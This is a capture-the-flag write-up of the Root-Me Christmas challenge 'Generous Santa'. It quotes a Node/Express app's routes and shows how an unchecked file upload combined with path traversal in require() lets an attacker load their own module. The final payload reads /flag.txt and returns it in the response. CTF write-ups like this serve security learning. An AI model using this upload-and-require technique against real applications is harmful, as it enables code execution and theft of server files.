Xmas-Rootme - (01) Generous Santa

25/12/2024

This is the first challenge of the Advent calendar root-me event. Santa gives us a website to choose gifts and even suggest new ones, what a good guy, lets see how we can use this to our advantage. Which I unfortunately stopped after 2 weeks, But here are some write ups.


Source files : sources

Inspecting quickly the source files, we know that the flag is stored in /flag.txt

We have 2 routes

router.post('/add', async (req, res) => { const { product } = req.body; try { const Gift = require(`../models/${product.toLowerCase()}`); const gift = new Gift({ name: product, description: `Description of ${product}` }); output = gift.store(); res.json({ success: true, output: output }); } catch (error) { res.status(500).json({ message: `Error adding the product ${product}. ${error.message}` }); } }); router.post('/suggest', upload.single('photo'), (req, res) => { const { name } = req.body; if (!name || !req.file) { return res.status(400).json({ message: 'Name and photo are required.' }); } const now = new Date(); const dateStr = now.toISOString().split('T')[0]; const timeStr = `${now.getHours()}-${now.getMinutes()}-${now.getSeconds()}`; const tempDir = path.join('/tmp', `${dateStr}_${timeStr}`); fs.mkdirSync(tempDir, { recursive: true }); const tempPath = path.join(tempDir, req.file.originalname); fs.writeFile(tempPath, req.file.buffer, (err) => { if (err) { return res.status(500).json({ message: `Error saving the image: ${err.message}` }); } res.json({ message: `Thank you! Santa will consider your suggestion.`, photoPath: tempPath }); }); });

This looks sus, const Gift = require(../models/${product.toLowerCase()}\);, looks like path traversal, so as dumb as I am, I tried to read /etc/passwd but we got an error.

image 1

At least, it is confirmed we can read any file, but we just need to make proper js.

Let's take a look at the /suggest route, we can give a name and a file. There is no protection on the file so we might be able to upload out desired js file 👀. The name we give for the gift is not stored anywhere so we can just ignore that. Lets try to steal an existing model, modify it and see what happens.

The uploaded file goes to /tmp/ under a directory named with the date. The directory is returned to us as a response to the upload so it is easy to find it on the machine and call it in the add route.

const mongoose = require('mongoose'); const bugattiSchema = new mongoose.Schema({ name: { type: String, default: 'item_name' }, description: { type: String, default: 'description' } }); bugattiSchema.methods.store = function() { console.log('test'); return this; }; module.exports = mongoose.model('test', bugatti)

Unfortunately, the mongoose module cannot be imported since the context is not the same, but we don't need to.

image 2

We just need to create a Gift class, export it in our file having this valid :

const gift = new Gift({ name: product, description: `Description of ${product}` });

And then, we can make a method returning anything, and it will be in the 'output' of the response.

output = gift.store(); res.json({ success: true, output: output });

Here is the final payload :

const fs = require('node:fs'); const data = fs.readFileSync('/flag.txt', 'utf8'); class Gift { constructor(name, desc) { } store() { return data } }

We just read the file and return the content of the file in the store method. Lets upload the file and see what we get.

image 3

And we get the flag !